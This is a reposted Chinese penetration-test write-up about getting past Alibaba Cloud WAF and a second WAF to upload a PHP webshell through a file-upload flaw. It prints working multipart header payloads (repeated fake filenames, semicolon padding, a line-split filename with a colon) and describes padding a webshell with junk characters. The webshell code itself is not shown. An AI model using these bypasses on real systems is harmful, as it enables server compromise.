记一次绕过**云waf与某不知名waf的双waf上传getshell

admin 2025年1月28日15:19:23评论6 views字数 8720阅读29分4秒阅读模式

原文首发在:奇安信攻防社区

https://forum.butian.net/share/4069

本文记录了一次绕过某里云waf与某不知名waf的双waf上传getshell

0x00:前情提要

某次项目遇到一个站点,发现后台存在任意文件上传,简单探测一下,发现是阿里云waf。

记一次绕过**云waf与某不知名waf的双waf上传getshell

记一次绕过**云waf与某不知名waf的双waf上传getshell

那必须开绕了

0x01:fuzz

之前没有过对*里云waf的上传绕过,所以要从头开始,按流程来。

先来个大部分waf通杀的绕过,大包绕过,结果数据量太大直接无响应,寄

记一次绕过**云waf与某不知名waf的双waf上传getshell

尝试单双引号绕过,失败

复写filename,失败

换行绕过,失败

修改boundary,失败

文件名fuzz,失败

.....尝试多次均无果

0x02:柳暗花明

前几天看见一个姿势拿来试一试。

Content-Disposition: form-data; name="aaa"; ;filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.php"

发现最终传上去的是个txt,显然最后的php并没有生效,有效的filename必须是在分号后的filename,所以其实上述payload和下面的payload是等价的,只有第一个filename被接口有效识别了。

Content-Disposition: form-data; name="aaa";filename="a.txt"

但是值得注意的是,此payload成功绕过了waf的检测,虽然最终没有上传php文件,但是可能有戏。(由于接口已经没了,所以这里显示404,但是确实绕过了waf)

记一次绕过**云waf与某不知名waf的双waf上传getshell

由于前面我们研究过,只有分号后跟的filename才是有效的filename,所以尝试让前面的filename失效,让最后一个filename生效,构造payload如下

Content-Disposition: form-data; name="aaa";,filename="a.txt";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;filename="a.php";

果然还是被拦截了。

记一次绕过**云waf与某不知名waf的双waf上传getshell

但是或许可以根据这个payload继续展开一下。

在fuzz的时候还发现这个网站还有一个比较奇怪的地方,就是当filename中的文件名被换行分割的时候,最后一行加入冒号,如下

Content-Disposition: form-data; name="head_portrait";filename="a.p hp":

就会将.p作为文件后缀上传

记一次绕过**云waf与某不知名waf的双waf上传getshell

但是不加这个冒号的话,就会被waf拦截

记一次绕过**云waf与某不知名waf的双waf上传getshell

那结合上面的假filename绕过试一试呢

Content-Disposition: form-data; name="aaa";,filename="a.t xt":;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;filename="a.php";

确实不是405了,但是为什么返回变成了502,难道还有高手?

记一次绕过**云waf与某不知名waf的双waf上传getshell
将php更换为txt,发现可以正常使用,并不是语法有问题,所以很可能还有个什么waf,难道是百年难遇的双waf出现了?

Content-Disposition: form-data; name="aaa";,filename="a.t xt":;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;filename="a.txt";

目前看起来没有阿里云waf报错,应该是已经绕过阿里云了,看来想办法绕过502这个就可以了。

记一次绕过**云waf与某不知名waf的双waf上传getshell
多次测试后,发现只要多加几个无效的filename即可绕过502这个waf
Content-Disposition: form-data; name="aaa";,filename="a.t xt":,filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt",filename="a.txt";;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;filename="a.php";
到此成功绕过双waf上传php文件,

记一次绕过**云waf与某不知名waf的双waf上传getshell

记一次绕过**云waf与某不知名waf的双waf上传getshell
紧接着新的问题出现了,阿里云waf不只拦截filename,它还会拦截文件内容。

记一次绕过**云waf与某不知名waf的双waf上传getshell

又来

由于阿里云waf对php脚本内容极其敏感,所以单纯从webshell本身来说是很难绕过的,所以我们需要用一些旁门左道进行绕过,比如垃圾字符,没有塞多少垃圾字符便成功绕过。

记一次绕过**云waf与某不知名waf的双waf上传getshell
好景不长,尝试了一些webshell,竟然还是被拦截...

记一次绕过**云waf与某不知名waf的双waf上传getshell
掏出大宝贝多试几个

记一次绕过**云waf与某不知名waf的双waf上传getshell
好险有个能用的

记一次绕过**云waf与某不知名waf的双waf上传getshell
接下来直接连接即可,开梭

记一次绕过**云waf与某不知名waf的双waf上传getshell

原文始发于微信公众号(亿人安全):记一次绕过**云waf与某不知名waf的双waf上传getshell

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年1月28日15:19:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   记一次绕过**云waf与某不知名waf的双waf上传getshellhttps://cn-sec.com/archives/3665097.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息